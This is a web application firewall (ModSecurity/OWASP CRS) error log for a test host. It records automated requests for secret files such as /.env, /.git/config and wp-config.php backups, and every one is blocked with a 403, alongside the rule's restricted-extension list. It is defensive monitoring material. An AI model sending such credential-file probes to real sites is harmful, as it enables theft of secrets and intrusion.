[Tue Feb 24 18:47:38.298651 2026] [:error] [pid 2298154] [client 96.41.38.202:50940] [client 96.41.38.202] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ3kOgQhO3UHYk311RHzXAAAAAo&quot;]
[Tue Feb 24 18:47:38.298955 2026] [:error] [pid 2298154] [client 96.41.38.202:50940] [client 96.41.38.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ3kOgQhO3UHYk311RHzXAAAAAo&quot;]
[Tue Feb 24 18:47:38.299124 2026] [:error] [pid 2298154] [client 96.41.38.202:50940] [client 96.41.38.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ3kOgQhO3UHYk311RHzXAAAAAo&quot;]
[Wed Feb 25 02:41:03.254306 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw8AAAAAk&quot;]
[Wed Feb 25 02:41:03.254597 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw8AAAAAk&quot;]
[Wed Feb 25 02:41:03.254767 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw8AAAAAk&quot;]
[Wed Feb 25 02:41:03.296241 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw8QAAAAk&quot;]
[Wed Feb 25 02:41:03.296482 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw8QAAAAk&quot;]
[Wed Feb 25 02:41:03.296644 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw8QAAAAk&quot;]
[Wed Feb 25 02:41:03.327998 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw8gAAAAk&quot;]
[Wed Feb 25 02:41:03.328137 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw8gAAAAk&quot;]
[Wed Feb 25 02:41:03.328351 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw8gAAAAk&quot;]
[Wed Feb 25 02:41:03.328517 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw8gAAAAk&quot;]
[Wed Feb 25 02:41:03.402860 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw8wAAAAk&quot;]
[Wed Feb 25 02:41:03.403101 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw8wAAAAk&quot;]
[Wed Feb 25 02:41:03.403265 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw8wAAAAk&quot;]
[Wed Feb 25 02:41:03.441951 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw9AAAAAk&quot;]
[Wed Feb 25 02:41:03.442169 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw9AAAAAk&quot;]
[Wed Feb 25 02:41:03.442329 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw9AAAAAk&quot;]
[Wed Feb 25 02:41:03.783998 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw9QAAAAk&quot;]
[Wed Feb 25 02:41:03.784240 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw9QAAAAk&quot;]
[Wed Feb 25 02:41:03.784449 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ5TL_XLUN2fZpuaCjqw9QAAAAk&quot;]
[Wed Feb 25 02:41:04.085287 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ5TMPXLUN2fZpuaCjqw9gAAAAk&quot;]
[Wed Feb 25 02:41:04.085513 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ5TMPXLUN2fZpuaCjqw9gAAAAk&quot;]
[Wed Feb 25 02:41:04.085680 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ5TMPXLUN2fZpuaCjqw9gAAAAk&quot;]
[Wed Feb 25 02:41:04.139882 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ5TMPXLUN2fZpuaCjqw9wAAAAk&quot;]
[Wed Feb 25 02:41:04.140124 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ5TMPXLUN2fZpuaCjqw9wAAAAk&quot;]
[Wed Feb 25 02:41:04.140296 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ5TMPXLUN2fZpuaCjqw9wAAAAk&quot;]
[Wed Feb 25 02:41:04.383399 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aZ5TMPXLUN2fZpuaCjqw-AAAAAk&quot;]
[Wed Feb 25 02:41:04.383560 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aZ5TMPXLUN2fZpuaCjqw-AAAAAk&quot;]
[Wed Feb 25 02:41:04.383782 2026] [:error] [pid 2312417] [client 93.123.109.214:48552] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aZ5TMPXLUN2fZpuaCjqw-AAAAAk&quot;]
